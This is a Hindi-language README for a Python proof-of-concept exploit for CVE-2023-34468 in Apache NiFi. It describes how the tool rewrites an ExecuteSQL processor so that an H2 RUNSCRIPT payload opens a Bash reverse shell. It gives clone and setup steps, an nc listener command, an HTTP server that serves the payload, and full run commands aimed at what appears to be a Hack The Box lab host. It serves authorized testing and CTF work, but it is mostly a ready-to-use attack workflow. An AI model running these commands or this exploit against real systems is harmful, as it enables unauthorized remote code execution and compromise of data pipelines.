CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC

एक संपादन योग्य Apache NiFi ExecuteSQL प्रोसेसर का दुरुपयोग करने और Bash रिवर्स शेल के माध्यम से रिमोट कमांड निष्पादन ट्रिगर करने के लिए H2 RUNSCRIPT पेलोड के साथ एक छोटा Python PoC।

केवल अधिकृत परीक्षण और शोध के लिए। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।

---

यह क्या करता है

ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore

1. स्वचालित रूप से एक एकल ExecuteSQL प्रोसेसर खोजता है, या मैन्युअल रूप से --processor-id स्वीकार करता है।
2. एक स्थानीय rce.sql पेलोड लिखता है जो Java-आधारित शेल निष्पादन एलियास को परिभाषित और कॉल करता है।
3. आपको अपना स्वयं का nc लिसनर और HTTP सर्वर शुरू करने के लिए संकेत देता है।
4. H2 RUNSCRIPT के माध्यम से rce.sql प्राप्त करने के लिए प्रोसेसर क्वेरी को अपडेट करता है।
5. रिवर्स शेल ट्रिगर करने के लिए प्रोसेसर शुरू करता है।
6. शेल आने की पुष्टि करने के बाद मूल प्रोसेसर कॉन्फ़िगरेशन को पुनर्स्थापित करता है।

---

स्क्रीनशॉट

1. सेटअप

2. पेलोड के लिए अनुरोध

3. शेल प्राप्त हुआ

4. परिणाम

---

सेटअप

git clone https://github.com/ozcanpng/CVE-2023-34468.git
cd CVE-2023-34468
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

---

उपयोग

टर्मिनल 1:

rlwrap nc -lvnp 4444

टर्मिनल 2, इस रिपॉजिटरी डायरेक्टरी से:

python3 -m http.server 8000

टर्मिनल 3:

python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444

मैन्युअल प्रोसेसर चयन के लिए:

python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id <UUID> --lhost 10.10.16.53 --lport 4444

---

प्रभावित

उत्पाद	प्रभावित संस्करण	आवश्यक एक्सेस	प्रभाव
Apache NiFi	CVE-2023-34468 से प्रभावित डिप्लॉयमेंट जो संपादन योग्य ExecuteSQL/H2 व्यवहार का उपयोग करते हैं	API के माध्यम से लक्षित NiFi प्रोसेसर तक पहुँचने और संशोधित करने की क्षमता	रिमोट कमांड निष्पादन

---

नोट्स

• स्क्रिप्ट यह मानती है कि NiFi API पहुँच योग्य है और वर्तमान उपयोगकर्ता/सत्र लक्षित प्रोसेसर को संशोधित कर सकता है।
• जनरेट की गई rce.sql फ़ाइल git द्वारा अनदेखी की जाती है और इसे python3 -m http.server के साथ रिपॉजिटरी डायरेक्टरी से सर्व की जानी चाहिए।
• यदि स्वचालित खोज को कोई प्रोसेसर या एकाधिक उम्मीदवार नहीं मिलते हैं, तो --processor-id के साथ प्रोसेसर UUID मैन्युअल रूप से पास करें।
• शेल आने की पुष्टि करने के बाद स्क्रिप्ट मूल ExecuteSQL प्रोसेसर कॉन्फ़िगरेशन को पुनर्स्थापित करने का प्रयास करती है।

---

संदर्भ

• NVD — CVE-2023-34468
• Apache NiFi
• H2 डेटाबेस कमांड्स

---

लेखक

ozcanpng — github.com/ozcanpng — ozcanpng.dev